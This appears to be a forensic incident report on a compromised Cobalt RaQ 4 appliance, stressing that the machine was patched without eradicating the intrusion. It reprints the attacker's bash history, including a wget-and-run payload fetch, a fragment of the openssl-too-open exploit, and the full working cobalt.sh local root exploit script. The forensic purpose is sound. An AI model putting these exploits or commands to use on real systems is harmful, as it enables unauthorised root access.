Recently my vulnerability assessment team was asked to assist in
determining the root cause of a compromise of a customer's RaQ 4 that
was alleged to be totally patched. Upon investigation, a summary of
which appears below, it was determined the appliance had actually been
compromised prior to being properly patched and had not been
thoroughly eradicated after detection of the compromise thus negating
any subsequent patching effort.
I would like to share the results of this effort as they provide an
excellent learning vehicle. The key point to come away from concerning
this effort is that adherence to a proper incident response
methodology is critical to successful recovery from these types of
events. However, failure to effectively/adequately perform any step in
that process, in this case inadequate eradication, will most certainly
result in a failed recovery effort, no matter how well written the
incident response plan is.
_____________________________________________________________________________________________________________________________________________________
Forensic evidence indicates that the break in occurred between January
15 at 03:02 and 11:04 server local time. This is evidenced by the
httpd error log entries below and the file time stamps on the files
located in /var/tmp on the compromised host. The initial entry in the
/var/log/httpd/error log file is most likely a scanner programed to
locate vulnerable machines.
[Wed Jan 15 03:02:37 2003] [error] mod_ssl: SSL handshake failed
(server www.xxxxxxx.net:443, client xxx.xxx.xx.xx) (OpenSSL library
error follows)
[Wed Jan 15 03:02:37 2003] [error] OpenSSL: error:1406908F:SSL
routines:GET_CLIENT_FINISHED:connection id is different
Listing of files in /var/tmp: (Note the User ID 15 -- httpd - of the
cobalt.sh file.)
/-rw-rw-rw- 1 root root 40960 Jan 13 17:53 1
-rwxr-xr-x 1 1001 1001 2164 Jan 13 17:39 auto1.sh
-rwxr-xr-x 1 1001 1001 2377 Jan 13 17:45 auto.sh
-rwxr-xr-x 1 1001 1001 13698 Jan 13 13:10 clear
-rw-r--r-- 1 15 root 2915 Jan 8 14:42 cobalt.sh
-rw-r--r-- 1 root root 610 Jan 15 19:14 diagnostic.dump
-rw-rw-rw- 1 root root 151 Jan 15 05:04 dns
-rw-rw-rw- 1 root root 170 Jan 15 05:04 id
-rw-rw-rw- 1 root root 1256 Jan 15 05:04 index.html
-rw-rw-rw- 1 root root 216 Jan 15 05:04 uname
-rwxr-xr-x 1 1001 1001 13760 Jan 13 13:11 ver/
Examination of root's .bash_history file reveals that the following
command sequence was issued after the compromise on or about January
15 at 11:04:00
/id
wget xxx.xxx.xx.xx/1
mv 1 /tmp
cd tmp
ls -l
tar xf 1
./ver
sh auto.sh
./ver
./clear/
The above command sequence revealed that xxx.xxx.xx.xx is the
attacker's IP address. This is confirmed by the /var/log/httpd/error
entries stated above. Further investigation reveals that a portion of
the /var/log/httpd/adm_error log was eliminated, thereby obscuring
entries form Jan 15 at about 03:00 hours to 11:00 hours. Suspect log
entries are below:
/[Wed Jan 15 03:00:00 2003] [error] OpenSSL: error:1407609C:SSL
routines:SSL23_GET_CLIENT_HELLO:http request [Hint: speaking HTTP to
HTTPS port!?]
[Wed Jan 15 16:04:04 2003] [error] mod_ssl: Cannot open
SSLSessionCache DBM file `/var/log/httpd/adm_ssl_scache' for writing
(store) (System error follows)/
Following the examination of the log files, the investigator issued a
standard find command to locate files that had been modified within
the past 8 days (since the 15th at 03:00 hours). (Command used: "find
/ -atime +8 -print") This revealed that several patches were
installed after the compromise had occurred. It also revealed that no
eradication had been done on the hackers tools (located in /tmp).
Accordingly, evidence indicates that no eradication was done, and
patches were installed after the compromise had occurred. This
significantly hampered further evidence collection efforts by the
investigator. However we are able to determine that the likely method
of entry was through the apach/mod_ssl/openssl application
combination. Without further evidence, specifically an exploit, this
investigation can not conclusively identify the method of entry.
It should be noted that the entries in the /var/log/httpd/error log
file do match a published exploits (openssl-too-open) pattern of
execution. The log entries indicate that the openssl connection ID
has been altered from the beginning of the ssl session. This could be
accomplished through the following source code in the openssl-too-open
exploit:
/ /* overwrite the connection id with random bytes, causing the
server to abort the connection */
for (i = 0; i < ssl->conn_id_length; i++) {
ssl->conn_id[i] = (unsigned char) (rand() >> 24);
}
send_client_finished(ssl);/
Investigation concludes that while absolute determination of method of
entry is not possible, evidence does point to an openssl exploit as
the method of entry. Attempted use of the said exploit against
laboratory RaQ 4 hosts was unsuccessful in duplicating results (i.e. a
compromised host).
It should also be noted that since the patches were applied to the RaQ
4 in question after the compromise occurred, it is possible that
another, older, exploit could have been the method of entry. However,
no evidence to support this has been found.
Once the attacker had compromised the host a standard exploit (for
which a patch exists) was used to elevate privilege from the httpd
user ID (as is evidenced by the ownership of the "cobalt.sh" file in
/var/tmp) to the root user ID. The "cobalt.sh" file is included below.
/#!/bin/sh
#
# Cobalt Linux 6.0 Local Root Exploit
#
# Effects: <= apache-1.3.20-RaQ4_1C3 (AFAIK all Cobalt Linux Apache ;)
# Quick Fix: su - root -c "chmod 755 /usr/lib/authenticate"
#
# Problem Source Code:
# fd = open("gmon.out", O_WRONLY|O_CREAT|O_TRUNC, 0666);
#
# Suggested Code:
# fd = mkstemp("/tmp/gmon.out-XXXXXX");
#
# Still need help Cobalt developers? Ok:
# man 3 tmpfile; man 2 open; echo "Thanks core"
#
# by Charles Stevenson <core@xxxxxxxxxx>
#
# Fri Jun 28 03:35:53 MDT 2002
# - initial version
# Sun Jul 7 20:12:41 MDT 2002
# - added some features for robustness
echo "RaQFuCK.sh by core"
target="/usr/lib/authenticate"
tempdir="/tmp"
if [ -u /.sushi ] ; then
exec /.sushi
fi
printf "Checking for $target..."
if [ -f "$target" ] ; then
echo "done."
else
echo "NO!"
exit 1
fi
printf "Checking if $target is setuid root..."
if [ -u "$target" ] ; then
echo "done."
else
echo "NO! Hrm... does this admin have a clue???"
exit 1
fi
if [ ! -d "$tempdir/core" ]; then
printf "Creating $tempdir/core..."
if ! mkdir "$tempdir/core" 2>/dev/null ; then
echo "FAILED!" ; exit 1
fi
echo "done."
fi
printf "Changing directory to $tempdir/core..."
if ! cd "$tempdir/core" 2>/dev/null ; then
echo "FAILED!" ; exit 1
else
echo "done."
fi
printf "Creating cron.d symlink..."
if ! ln -fs /etc/cron.d/core gmon.out 2>/dev/null; then
echo "FAILED!" ; exit 1
else
echo "done."
fi
printf "Changing umask..."
if ! umask 000 ; then
echo "FAILED!" ; exit 1
else
echo "done."
fi
printf "Compiling root shell..."
cat >sushi.c <<EOF
#include <unistd.h>
int main (int argc, char **argv, char **envp) {
setuid(0);
setgid(0);
execve("/bin/sh",argv,envp);
return -1;
}
EOF
if ! cc sushi.c -o sushi 2>/dev/null; then
echo "FAILED!" ; exit 1
else
echo "done."
fi
printf "Compiling cron takeover..."
cat >takeover.c <<EOF
#include <stdlib.h>
main() { system("cp $tempdir/core/sushi /.sushi ; chmod 6777 /.sushi"); }
EOF
if ! cc takeover.c -o own 2>/dev/null; then
echo "FAILED!" ; exit 1
fi
echo "done."
printf "Performing symlink attack..."
printf "\n\n\n\n" | "$target"
if [ -u /etc/cron.d/core ] ; then
echo "SYMLINK ATTACK FAILED!" && exit 1
else
echo "done."
fi
printf "Setting up evil cron job..."
cat >croncore <<EOF
*/1 * * * * root if [ -x "$tempdir/core/own" ] ; then
"$tempdir/core/own"; fi
EOF
if ! cat croncore 2>/dev/null >/etc/cron.d/core; then
echo "FAILED!" ; exit 1
else
echo "done."
fi
printf "Waiting for root shell"
while [ ! -u /.sushi ] ; do
sleep 1 ; printf "."
done
echo "done."
cd /
printf "Cleaning up real quick..."
if ! /.sushi -c "rm -rf $tempdir/core /etc/cron.d/core"; then
echo "FAILED??? Fuck it!"
else
echo "done."
fi
echo "Spawning root shell!!! God Damn! I say GOD DAMN!!"
if ! exec /.sushi -i; then
echo "Exec Failed!!! BUMMER!" ; exit 1
fi/
Please contact the investigator, Mark Carey, with any further
questions. His e-mail is mark.carey@xxxxxxxx
_______________________________________________________________________________________________________________________________________________________
Cheers,
Charles